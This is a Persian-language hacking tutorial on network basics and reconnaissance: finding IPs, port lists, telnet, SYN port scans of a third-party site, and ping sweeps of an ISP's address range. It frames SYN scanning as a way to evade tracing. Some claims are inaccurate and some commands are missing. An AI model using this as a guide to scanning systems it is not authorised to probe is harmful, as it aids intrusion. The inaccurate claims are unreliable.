آموزش های تخصصی شبکه و امنیت و ضد امنیت
- RFC چيست؟
متون بسيار کامل ولی خشک و ثقيل که در مورد مفاهيم مختلف شبکه بحث میکنند. اين فايلها به صورت متنی و با پسوند txt هستند و بهعنوان مرجع (برای مراجعه و نه مطالعه کامل) کاربرد دارند. اين فايلها يکبار منتشر شده و هرگز تغيير داده نمیشوند (حتی اگر حاوی اشتباه باشند.)
- فايلهای RFC از کجا قابل دسترسی هستند؟
RFCها از سايتهای بسياري قابل دسترس هستند ولی سايت مورد علاقه من برای RFCها، سايت زير است:http://www.ietf.org/rfc/xxxxxxx.txtکه بهجای xxxxxxx نام rfc موردنظر را مینویسيم. مثلا برای دسترسی به rfc791 بايد آدرس را به صورت زير تايپ کنيم:http://www.ietf.org/rfc/rfc791.txt
- Command Prompt چيست؟
در بسياری از درسهای آينده از Command Prompt (خط فرمان) ويندوز استفاده خواهيم کرد. برای باز کردن آن يکی از روشهای زير را به کار بريد:
۱- مسير زير را در ويندوز طی کنيد: Start > Programs > Accessories > Command Prompt۲- در قسمت Run بنويسيد: command يا cmd
- پيدا کردن ip يک سايت با دانستن آدرس اينترنتی آن (پيدا کردن ip سرور)
برای اين کار روشهای مختلفی هست:
۱- در (Internet Explorer (IE آدرس را تايپ کنيد و Enter را فشار دهيد. در قسمت پايين مرورگر يعنی Status Bar پس از چند لحظه برای مدت کوتاهی ip نمايش داده میشود و میتوانيد آنرا يادداشت کنيد. اگر طول اين مدت بسيار کوتاه است میتوانيد از صفحه عکس بگيريد ( با دکمه Print Screen ) و در يک نرمافزار گرافيکی بعد از باز کردن يک صفحه خالی به کمک Ctrl+V آنرا مشاهده کنيد. [ عجب راه احمقانهای ;-)
اگر اين کار را برای www.yahoo.com انجام دهيم:
[IMG]file:///D:/hack/araz/hack/4_files/n13810823.gif[/IMG]
که همان شماره ip برای www.yahoo.com است.
نکته بسيار مهم اين است که بهدليل ضريب اشتباه بسيار بالای آن هيچگاه از اين روش استفاده نکنيد. نتايج ممکن است کاملا اشتباه باشد که بعدا ميگم چرا.
۲- دستور ping را در command prompt صادر کنيد: domainدر اين حالت میتوانم ip آن سايت را ملاحظه کنم. (البته کار اصلی ping يک چيز ديگست و ميشه گفت داريم ازش سوءاستفاده میکنيم). مثلا برای پيدا کردن ip سازين مینويسم
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=822ms TTL=111
Reply from 63.148.227.65: bytes=32 time=811ms TTL=111
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 811ms, Maximum = 822ms, Average = 818msملاحظه میفرماييد که ip سازين است.
اگر دستور ping را بهجای sazin.com برای www.sazin.com صادر کنيد، جواب همان است. البته برای سايتهای بزرگ جوابهای حاصل متفاوت خواهد بود.
۳- روش بعدی و کاملترين روش whois کردن به بعضی سايتهای خاص است. بعدا اين را کاملتر توضيح میدم ولی فعلا روشش رو میگم. آدرس زير را در مرورگر خود تايپ کنيد:که بهجای xxxxxx آدرس مورد نظر را تايپ کنيد. مثلا برای sazin.com يکی از دو آدرس زير را بايد تايپ کرد:http://www.samspade.org/t/ipwhois�a=sazin.com
http://www.samspade.org/t/ipwhois�a=...in.comچيزی که در صفحه ظاهر میشود به صورت زير است:whois -h magic 63.148.227.65
sazin.com resolves to 63.148.227.65
Trying whois -h whois.arin.net 63.148.227.65
Qwest Communications NET-QWEST-BLKS-2 (NET-63-144-0-0-1)
63.144.0.0 - 63.151.255.255
Neutron Digital Media Corp. QWST-63-148-224 (NET-63-148-224-0-1)
63.148.224.0 - 63.148.231.255
# ARIN Whois database, last updated 2002-09-04 19:05
# Enter � for additional hints on searching ARIN"s Whois database.که آدرس ip در سطر اول و دوم ذکر شده است.
اگر دو روش آخر را برای سايت بزرگ yahoo انجام دهيم، نتايج زير را میبينيم:
--> روش ping :
www.yahoo.com ====> 64.58.76.229
yahoo.com ====> 66.218.71.198
--> روش whois :
...و www.yahoo.com ====> 66.218.71.86
64.58.79.230 و yahoo.com ====> 66.218.71.198
نتايج حاصل گويای آن است که چرا بهتر است از whois استفاده کنيم.
- تقسيم بندی آدرسهای ip
آدرسهای ip به ۵ کلاس تقسيمبندی میشوند که A تا E نام دارند ولی از اين بين سه کلاس اول (يعنی C,B,A) کاربرد عملی دارند که آنها را شرح میدهيم:
۱- کلاس A: اگر ip را بهصورت xxx.yyy.yyy.yyy در نظر بگيريد، اين کلاس تمام ipهايی را شامل میشود که xxx بين ۱ تا ۱۲۶ است. اين کلاس ويژه backbone های بزرگ اينترنتی است و در هنگام ثبت domain برای گرفتن ip از آنها استفاده میشود. بنابراين اکثر سايتها چنين ipهايی دارند. اين کلاس را 8/ هم میگويند.
۲- کلاس B: اين کلاس تمام ipهايی را شامل میشود که xxx بين ۱۲۸ و ۱۹۱ است. اين کلاس هم از جمله کلاسهای پرکاربرد است. اين کلاس را 16/ هم میگويند.
۳- کلاس C: اين اين کلاس تمام ipهای را شامل میشود که xxx بين ۱۹۲ و ۲۲۳ است. اين کلاس معمولا به ISP هايی که خدمات dial-up ارائه میدهند، تعلق میگيرد (اين جمله چندان مستند نيست.). بنابراين اگر بهصورت dial-up به اينترنت متصل شويد، چنين ip میگيريد. اين کلاس را 24/ هم میگويند.
سوالی که پيش میآيد اين است که xxx چرا نه در کلاس A و نه در B، عدد ۱۲۷ را شامل نمیشود؟ جواب اين است که ۱۲۷ برای کامپيوتر خودمان رزرو شده است. مثلا 127.0.0.1 معمولا يعنی localhost يعنی خودمان.
- بهدست آوردن ip خودتان بعد از اتصال به اينترنت
برای اينکار راههای متفاوتی وجود دارد:
۱- راحتترين راه استفاده از دستور ipconfig است. من با تايپ کردن آن به نتايج زير رسيدم:Windows 2000 IP Configuration
PPP adapter neda:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 217.66.198.116
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 217.66.198.116که آدرس ip تان را میتوانيد در سطر Ip Address ببينيد. (مسئله پروکسی را فعلا ناديده بگيريد)
۲- بعد از اتصال به اينترنت حداقل يک صفحه باز کنيد و بعد دستور netstat -n را در command prompt تايپ کنيد. من با تايپ اين دستور به نتايج زير رسيدم:Active Connections
Proto Local Address Foreign Address State
TCP 217.66.198.116:2469 64.58.76.177:80 ESTABLISHED
TCP 217.66.198.116:2471 66.163.175.130:80 ESTABLISHED
TCP 217.66.198.116:2473 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2474 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2476 212.73.194.136:80 SYN_SENTستونی که زير عبارت Local Address قرار دارد، ip من در آن اتصال است. بنابراين ip من در آن اتصال 217.66.198.116 بوده است.
- TCP و UDP چيست؟
مدل TCP/IP که برای ارتباط اينترنتی بهکار میرود، میتوان به لايههای مختلفی تقسيمبندی کرد که بعدا بيشتر توضيح میدم، اما يکی از اين لايهها، لايه ارتباط host2host است که خود شامل دو پروتکل است به نامهای TCP و UDP :
۱- (TCP (Transmission Control Protocol :
اين پروتکل قویتر و قابل اعتمادتر است و اصولا پروتکل مهمتری نسبت به UDP محسوب میشود. اين پروتکل توانايی بازبينی بستههاو کنترل خطا را هم دارد.
۲- (UDP (User Datagram Protocol :
اين پروتکل برای کاهش overflow طراحی شده است و در خيلی از موارد وابسته به TCP است.
نکته مهم اين است که وقتی با يک پورت خاص روی يک کامپيوتر ديگر ارتباط برقرار میکنيم، اين ارتباط میتواند از نوع TCP يا UDP باشد. بنابراين وقتی میخواهيم يک کامپيوتر خاصی را از نظر پورتها بررسی کنيم، هردو بايد بررسی شود.
- تقسيمبندی پورتها از روی شماره آنها
۱- پورتهای 0 تا 1023 :
مشهورترين پورتها هستند و معمولا هرکدام برای يک سرويس خاص استفاده میشود. با تعدادی از اين پورتها در جلسات قبل آشنا شدهايد.
۲- پورتهای 1024 تا 49151 :
اين سری از پورتها مشخصا با هيچيک از سرويسهای اينترنتی مرتبط نيستند بلکه وقتی که با يک ابزار شبکه مانند مرورگر اينترنت(مثل Internet Explore يا Netscape Navigator )، نرمافزار ارسال و دريافت E-mail (مثل Outlook يا Edura )، نرمافزارهای FTP (مثل WS-FTP يا Cute-FTP ) کار میکنيد، يکی از اين پورتها به صورت random باز شده و يک ارتباط با سرور (با توجه بهنوع سرويس اينترنتی که میدهد که يکی از پورتهای 0 تا 1023 است) برقرار شده و دادهها ارسال و دريافت میشوند. يعنی پورت شما يکی از پورتهای اين قسمت است و پورت سرور يکی از پورتهای بالايی.اين سری پورتها را پورتهای register شده هم میگويند.
۳- پورتهای 49152 تا 65535 :
اين سری از پورتها بهندرت استفاده میشوند. کاربرد اساسی آنها برای يک سری سرويسهای خاص اينترنتی است و يا توسط trojanها (که برای Hack کردن کامپيوتر است) است. البته خيلی از trojanهای معروف از پورتهای رديف ۲ هم استفاده میکنند و اين تقسيمبندیها هميشه برقرار نيست و بههمين علت است که گاهی پورتها را به دودسته زير 1024 و بالای 1024 تقسيم میکنند.
- تکميل ليست پورتها
در جلسه دوم در مورد مهمترين پورتها صحبت کردم. حالا يک ليست کاملتر را در اين درس میگم. اگر میخواهيد يک مرجع نسبتا کامل برای مراجعه داشته باشيد، اينجا را کليک کنيد. دقت کنيد درس امروز و نيز لينک بالا هيچ بحثی در مورد تروجانها نمیکند زيرا تروجانهای شناخته شده هم يک سری پورت پيشفرض دارند که در جای خود بحث خواهد شد.Ports TCP/UDP Service or Application
------ ------- ----------------------------------------
7 tcp echo
11 tcp systat
19 tcp chargen
21 tcp ftp-data
22 tcp ssh
23 tcp telnet
25 tcp smtp
42 tcp nameserver
43 tcp whois
49 udp tacacs
53 udp dns-lookup
53 tcp dns-zone
66 tcp oracle-sqlnet
69 udp tftp
79 tcp finger
80 tcp http
81 tcp alternative for http
88 tcp kerberos or alternative for http
109 tcp pop2
110 tcp pop3
111 tcp sunrpc
118 tcp sqlserv
119 tcp nntp
135 tcp ntrpc-or-dec
139 tcp netbios
143 tcp imap
161 udp snmp
162 udp snmp-trap
179 tcp bgp
256 tcp snmp-checkpoint
389 tcp ldap
396 tcp netware-ip
407 tcp timbuktu
443 tcp https/ssl
445 tcp ms-smb-alternate
445 udp ms-smb-alternate
500 udp ipsec-internet-key-exchange (ike)
513 tcp rlogin
513 udp rwho
514 tcp rshell
514 udp syslog
515 tcp printer
515 udp printer
520 udp router
524 tcp netware-ncp
799 tcp remotely possible
1080 tcp socks
1313 tcp bmc-patrol-db
1352 tcp notes
1433 tcp ms-sql
1494 tcp citrix
1498 tcp sybase-sql-anywhere
1524 tcp ingres-lock
1525 tcp oracle-srv
1527 tcp oracle-tli
1723 tcp pptp
1745 tcp winsock-*****
2000 tcp remotely-anywhere
2001 tcp cisco-mgmt
2049 tcp nfs
2301 tcp compaq-web
2447 tcp openview
2998 tcp realsecure
3268 tcp ms-active-dir-global-catalog
3268 udp ms-active-dir-global-catalog
3300 tcp bmc-patrol-agent
3306 tcp mysql
3351 tcp ssql
3389 tcp ms-termserv
4001 tcp cisco-mgmt
4045 tcp nfs-lockd
5631 tcp pcanywhere
5800 tcp vnc
6000 tcp xwindows
6001 tcp cisco-mgmt
6549 tcp apc
6667 tcp irc
8000 tcp web
8001 tcp web
8002 tcp web
8080 tcp web
9001 tcp cisco-xremote
12345 tcp netbus
26000 tcp quake
31337 udp backorifice
32771 tcp rpc-solaris
32780 udp snmp-solaris
43188 tcp reachout
65301 tcp pcanywhere-def
- چگونه به يک پورت Telnet کنيم؟
برای اينکه عملکرد يک پورت برای شما روشن شود، بايد به آن پورت Telnet کنيد. (البته معمولا تعدادی از پورتهايی را که ممکن است اطلاعاتی مهم را در اختيار هکرها قرار دهند مثل پورت ۷۹ معمولا بسته است و ارتباط با آنها شايد برقرار نشود.) برای telnet کردن در command prompt دستور زير را تايپ کنيد: hostname portnum در اين دستور بهجای hostname شماره ip و يا نام سايت را وارد میکنيد و بهجای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را بهدست میدهد در کامپيوتری به اسم www.iums.ac.ir مينويسيد: telnet iums.ac.ir 13
telnet iums.ac.ir daytime
- انواع Scanning
دو نوع معمول Scanning وجود دارد:
۱- Port Scanning :
در اين حالت ما IP يا IPهای مورد نظر را انتخاب کردهايم و حالا میخواهيم بدانيم که کدام پورتها روی آن کامپيوترها باز است.
۲- IP Scanning :
در اين اسکنينگ میخواهيم بدانيم که از بين يک مجموعه ip ، کدامها up و کدامها down هستند. يعنی کدام ip ها الان قابل دسترسی هستند (يعنی به يه کامپيوتر در اينترنت نسبت داده شده است! ) فرض کنيد که شما يک سری IP مربوط به يک ISP خاص را داريد و میخواهيد بدانيد که در اين لحظه کدامها فعال (up) هستند تا فقط آنها را بررسی کنيد و نه همه را
- چگونه يک ارتباط TCP برقرار میشود که بگوييم فلان پورت باز است يا نه؟
برای اينکه تعيين کنيم که يک پورت روی يک سرور باز است يا نه، معمولا بايد يک TCP connect scan انجام دهيم. اول اين را بگم که Port Scanning انواع مختلف دارد که فعلا ما نوع TCP connect را مدنظر داريم. اين نوع اسکن سه مرحله دارد که به آن TCP"s 3-way handshakeمیگويند:
۱- اول کامپيوتر ما به سمت سرور يک SYN packet میفرستد که به معنی درخواست اتصال است.
۲- اگر سرور اين درخواست را قبول کند، در مرحله دوم سرور به سمت ما يک SYN/ACK packet میفرستد.
۳- در مرحله آخر کامپيوتر ما يک ACK packet به سمت سرور میفرستد.
نوع ديگری از پورت اسکن TCP SYN scan نام دارد. با توجه به اينکه معمولا اگر پورت اسکن به روش بالا (TCP connect scan) انجام دهيم، معمولا در سرور اين اتصال ذخيره خواهد شد و بعدا میتواند ما را رديابی کنند، به جای آن میتوان از TCP SYN scan استفاده کرد. در اين نوع اسکن، مراحل ۱ و ۲ از بالا انجام میشود ولی مرحله ۳ نه! اگر در مرحله ۲ به ما يک SYN/ACK برسد، آن پورت باز است و اگر يک RST/ACK برسد، يعنی بسته است.
انواع ديگری از پورت اسکنينگ هم وجود دارد مثل UDP scan, TCP Window scan, TCP ACK scan, TCP Null, TCP Xmas Tree, TCP FIN Scan
- چگونه میتوان عمل Port scanning را انجام داد؟
در تمام مطالبی که تا اين مرحله گفتهام سعی کردهام که فقط از ابزارهای موجود در ويندوز استفاده کنم و هيچ ابزار ديگری بهکار نبرم، اما در مبحث پورت اسکنينگ چون هيچ ابزاری در ويندوز برای اين کار نيست، بهناچار بايد يک سری برنامه را از اينترنت داونلود کنيد. (توجه داشته باشيد که فعلا حرفی از لينوکس نزدهام و سعی میکنم فعلا هيچ بحثی را در مورد آن مطرح نکنم)
برای Port Scanning میتوان از ابزارهای مختلفی استفاده کرد که اکثرا برای لينوکس طراحی شدهاند، اما مهمترين پورت اسکنرها برای ويندوز عبارتند از:
۱- نرمافزار NMapWin v1.3.0 :
نسخه گرافيکی و مخصوص ويندوز برای nmap است (nmap در لينوکس استفاده میشود). nmap از کاملترين ابزارهايی است که علاوه بر توانايی انواع پورت اسکنينگها، میتواند کارهای بسياری چون تشخيص سيستمعامل سرور و ... را انجام دهد. اين ابزار را بعدا توضيح خواهم داد ولی فعلا برای کار ما بيش از حد کامله ;-)
۲- NetScanTools Pro 2000 :
اين هم از بهترينهاست ولی چون پولی است به جای داونلود بايد در CD هايی که در بازار هست پيدايش کنيد.
۳- WinScan :
برای اسکن کردن TCP (ونه UDP) میتوانيد از آن استفاده کنيد. من زياد ازش خوشم نيومد.
۴- ipEye v1.2 :
من در این درس از اين نرمافزار استفاده خواهم کرد، برای داونلود آن میتوانيد به سايت http://www.ntsecurity.nu/ مراجعه کنيد يا مستقيما با کليک روی اين لينک آن را داونلود کنيد. لازم است بگويم که اين نرمافزار فقط در ويندوز ۲۰۰۰ و xp کار میکند و نيز در يک بار اجرا فقط يک ip را میتواند تست کند. ضمنا فقط TCP را تست میکند.
- چگونه از ipEye برای پورت اسکنينگ استفاده کنيم؟
با تايپ ipEye در command prompt اين نتايج ظاهر میشود:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/
Error: Too few parameters.
Usage:
ipEye <target IP> <scantype> -p <port> [optional parameters]
ipEye <target IP> <scantype> -p <from port> <to port>
[optional parameters]
<scantype> is one of the following:
-syn = SYN scan
-fin = FIN scan
-null = Null scan
-xmas = Xmas scan>br>
(note: FIN, Null and Xmas scans don"t work against Windows systems.
[optional parameters] are selected from the following:
-sip <source IP> = source IP for the scan
-sp <source port> = source port for the scan
-d <delay in ms> = delay between scanned ports in milliseconds
(default set to 750 ms)
فرض کنيد که میخواهيم سايت سازين را از نظر پورتها از پورت ۱ تا ۲۰۰ تست کنيم. اول بايد ip آن را به دست بياوريم که میشود، 63.148.227.65 و حالا به کمک دستور زير آن را بررسی میکنيم:
ipeye 63.148.227.65 -syn -p 1 200دقت کنيد که عدد ip سازين، يعنی SYN SCAN و يعنی تست از پورت ۱ تا ۲۰۰ باشد. البته پارامترهای ديگری را هم میشود ست کرد که فعلا به درد ما نمیخورد. با اجرای اين دستور به نتايج زير میرسيم:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/
1-20 [drop]
21 [open]
22 [closed or reject]
23-24 [drop]
25 [open]
26-52 [drop]
53 [open]
54-79 [drop]
80 [open]
81-109 [drop]
110 [open]
111-142 [drop]
143 [open]
144-200 [drop]
201-65535 [not scanned] يعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمیدهد، يعنی اينکه يک firewall هست که اجازه اتصال به آن پورت را نمیدهد، يعنی اينکه يک firewall همهچيز را پس میزند و يا اصلا کامپيوتری اونور نيست، هم که يعنی باز.
در مورد سازين میبينيد که از بين پورتهای ۱ تا ۲۰۰ ، پورتهای ۲۱، ۲۵، ۵۳، ۸۰، ۱۱۰، ۱۴۳ باز است و میتوان به آنها telnet کرد. دقت کنيد که تا تمام پورتهايی که مشخص شده، تست نشده است، هيچ نتيجهای نشان داده نمیشود و يهکم صبر میخواد.
- تعيين پورتهای باز کامپيوتر خودتان
میخواهيم درباره کامپيوتر خودمان اين اطلاعات را پيدا کنيم. برای اين کار يکی از دستورات زير را به کار میبريم:
فرق اين دو دستور در اين است که اولی پورتها را به صورت عددی و دومی به صورت معادل اسمی آن پورت مینويسد. مثلا معادل اسمی پورت 7 ، echo است.
مثلا اگه netstat -an را تايپ کنم، به اطلاعات زير میرسم:
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:7 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9 0.0.0.0:0 LISTENING
TCP 0.0.0.0:13 0.0.0.0:0 LISTENING
TCP 0.0.0.0:17 0.0.0.0:0 LISTENING
TCP 0.0.0.0:19 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:53 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:515 0.0.0.0:0 LISTENING
TCP 0.0.0.0:563 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1040 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1041 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1043 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1755 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6034 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7007 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7778 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8181 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1039 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2103 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2105 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2107 0.0.0.0:0 LISTENING
UDP 0.0.0.0:7 *:*
UDP 0.0.0.0:9 *:*
UDP 0.0.0.0:13 *:*
UDP 0.0.0.0:17 *:*
UDP 0.0.0.0:19 *:*
UDP 0.0.0.0:68 *:*
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:161 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1030 *:*
UDP 0.0.0.0:1036 *:*
UDP 0.0.0.0:1038 *:*
UDP 0.0.0.0:1042 *:*
UDP 0.0.0.0:1075 *:*
UDP 0.0.0.0:1434 *:*
UDP 0.0.0.0:1645 *:*
UDP 0.0.0.0:1646 *:*
UDP 0.0.0.0:1755 *:*
UDP 0.0.0.0:1812 *:*
UDP 0.0.0.0:1813 *:*
UDP 0.0.0.0:3456 *:*
UDP 0.0.0.0:3527 *:*
UDP 127.0.0.1:53 *:*
UDP 127.0.0.1:1028 *:*
UDP 127.0.0.1:1029 *:*
UDP 127.0.0.1:1035 *:*
UDP 127.0.0.1:1044 *:*
UDP 127.0.0.1:1045 *:*
UDP 127.0.0.1:1100 *:*
من دستور را موقعی اجرا کردم که به اينترنت متصل نبودم. اگر همين کار را در زمان اتصال به اينترنت انجام میدادم، يک سری سطرهای جديد هم اضافه میشد که مربوط به آن اتصال میشد. و نيز دقت کنيد که من سويچ را استفاده کردم و پورتها به صورت عددی نمايش داده شده است که همين الان - الساعه - براتون توضيح میدم:
اولين نکتهای که به نظر میرسد، نامی است که برای هر ستون نوشته شده است:
Proto Local Address Foreign Address Stateيعنی پروتکل، که میتواند TCP يا UDP باشد.
نشاندهنده ip کامپيوتر خودمان و شماره پورتهاست. مثلا سطر اول میگويد که ip من 0.0.0.0 است (دقت کنيد که من به اينترنت متصل نيستم) و اولين پورت باز (از نوع TCP با توجه به اول سطر) عدد ۷ است زيرا اين به صورت 0.0.0.0:7 نوشته شده است که قسمت قبل از کاراکتر : ، ip است و بعد از کاراکتر :، پورت است.
چون در اين مثال از سويچ a- يا an- استفاده کردهايم، کاربردی ندارد. ولی بعدا خواهيد ديد که اگر از يک سويچ ديگر استفاده کنيم، میتواند مهم باشد.
وضعيت اتصال را نشان میدهد
حالا اگه پورتها را يکی يکی بررسی کنيد، میبينيد که در پروتکل TCP ، پورتهای ۷، ۹، ۱۳، ۱۷، ۱۹، ۲۱ و... باز است و در پروتکل UDP ، پورتهای ۷، ۹، ۱۳، ۱۷، ۱۹، ۶۸ و ... باز است.
IP Scanning به روشهای مختلف میتواند صورت بگيرد:
در سادهترين نوع آن، يک پکت از نوع ICMP ECHO به يک ip خاص میفرستيم و اگر يک ICMP ECHO REPLAY به سمت ما برگشت، در اين صورت آن ip بهاصطلاح up است. برای اينکار میتوان از ابزارهای زير استفاده کرد:
استفاده از ping موجود در سيستمعاملهای ويندوز و يونيکس (لينوکس). به صورت زير: xxx.xxx.xxx.xxxمثلا برای 63.148.227.65 مینويسيم
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105و اگه به پيغام زير رسيديد، يعنی فعال نيست:Request timed out.
Request timed out.
Request timed out.
Request timed out.همان طور که میبينيد با اين دستور در يک لحظه فقط میشود، يک ip را تست کرد و اين کار ما را کند میکند.
در سيستمعامل لينوکس میشود از gping استفاده کرد که يک مجموعه ip را به سرعت تست کرد.
در سيستم عامل ويندوز میشود از استفاده کرد. برای داونلود اين نرمافزار . Pinger يک نرمافزار گرافيکی است و کار ping کردن به يک مجموعه ip را ساده میکند.
[IMG]file:///D:/hack/araz/hack/10_files/n13811025.gif[/IMG]
در قسمت From و To مشخص میکنيم که از کدام ip تا کدام ip را میخواهيم ping کنيم. با فشار دکمه Ping ليست ip هايی که up هستند، نمايش داده میشود. فرض کنيد که ip فعلی شما 195.219.176.88 باشد و بخواهيم بدانيم در کلاس C مربوط به ما چه ip های ديگری up هستند. در اين حالت بايد 195.219.176.1 تا 195.219.176.254 را ping کنيم.
حالا میخواهيم همين کار را با انجام دهيم. برای اينکار بايد در برگه Scan، قسمت Mode را در حالت Ping Sweep قرار دهيد. برگه Discover بايد درحالت ICMP Ping باشد و در قسمت Options بايد گزينه OS Detection را از حالت انتخاب شده خارج کنيد. بعد بايد ليست ip ها را تنظيم کنيم، برای اينکار بايد در قسمت Host ، ليست ip ها را وارد میکنيم. مثلا اگر بخواهيم 195.219.176.1 تا 195.219.176.254 را تست کنيم بايد بنويسيم: که اين 24/ يعنی کلاس C که از ۱ تا ۲۵۵ است. و بعد دکمه Scan را فشار دهيم.
Host (195.219.176.0) seems to be a subnet broadcast address ...
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Host (195.219.176.1) appears to be up.
Host (195.219.176.3) appears to be up.
Host (195.219.176.5) appears to be up.
Host (195.219.176.7) appears to be up.
Host (195.219.176.9) appears to be up.
Host (195.219.176.11) appears to be up.
Host (195.219.176.12) appears to be up.
Host (195.219.176.13) appears to be up.
Host (195.219.176.14) appears to be up.
Host H-GVSVY95KXINRJ (195.219.176.15) appears to be up.
Host (195.219.176.16) appears to be up.
Host (195.219.176.17) appears to be up.
Host (195.219.176.18) appears to be up.
Host (195.219.176.19) appears to be up.
Host KERYASBA (195.219.176.20) appears to be up.
Host MARYAM (195.219.176.22) appears to be up.
Host (195.219.176.23) appears to be up.
Host (195.219.176.24) appears to be up.
Host FFX-L2XA0ZM87Q3 (195.219.176.25) appears to be up.
Host (195.219.176.26) appears to be up.
Host (195.219.176.27) appears to be up.
Host (195.219.176.28) appears to be up.
,...ملاحظه میفرماييد که در بعضی موارد اسم کامپيوتر مربوط به ip هم ذکر شده است.
در تمام روشهای بالا، از پکتهای ICMP برای پينگ استفاده کرديم. در بعضی کامپيوترها ممکن است پکتهای ICMP توسط فايروال يا روتر بلاک شوند. در اين حالت بايد از پورت اسکنينگ برای IP اسکنينگ استفاده کرد! برای اينکار میتوان از ابزارهای زير استفاده کرد:
در سيستم عامل يونيکس (لينوکس) میتوان از ابزارهايی مثل hping و icmpenum و ... استفاده کرد. که فعلا بحث ما نيستند.
در سيستمعامل ويندوز، بازهم از NMapWin استفاده میکنيم. ولی طوری Port Scanning میکنيم که نياز ما را برای IP Scanning جواب دهد. اينکار توسط يک سری پورتهای عمومی صورت میگيرد که در اکثر کامپيوترها باز هستند مثل ۸۰ ، ۲۵ و...
برای اينکار در برگه Scan ، قسمت Mode را در حالت Connect تنظيم میکنيم و در قسمت Scan Options ، گزينه Port Range را مثلا برای عدد 80 تنظيم میکنيم. Discover را در حالت TCP Ping قرار میدهيم. و در برگه Option ، گزينه OS Detection را از حالت انتخاب شده خارج میکنيم. ليست ip ها را ست کرده و اسکن را شروع میکنيم.
ping چيست ؟
ping دستوری است که مشخص میکند که آيا يک کامپيوتر خاص که ما ip يا domain آن را میدانيم، روشن و فعال (Active) هست يا نه. و اينکه اگر فعال باشد مدت زمان رسيدن بستههای tcp/ip از آن کامپيوتر به کامپيوتر ما چقدر است.
کاربرد اين دستور به صورت زير است: ip-or-domainکه به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را میگذاريم.
مثلا ping sazin.com را در command prompt تايپ کردم و به نتايج زير رسيدم :Pinging sazin.com [63.148.227.65] with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=981ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 1402ms, Average = 1043msاين نتايج نشان میدهد که sazin.com فعال است.
حالا به کامپيوتری با ip شماره 63.148.227.65 (که همان sazin.com است)، ping میکنم. نتايج همان است فقط با تغييراتی در سطر اول. (البته time که معنای مدت زمان رسيدن پکت را میدهد، با توجه به ترافيک شبکه، کم و زياد خواهد شد). برای ping کردن به اين ip ، دستور 63.148.227.65 ping را صادر میکنم :Pinging 63.148.227.65 with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=861ms TTL=105
Reply from 63.148.227.65: bytes=32 time=852ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Reply from 63.148.227.65: bytes=32 time=881ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 881ms, Average = 861msفرض کنيد که به يک ip که فعال نيست، ping کنيم:Pinging 217.66.196.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 217.66.196.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
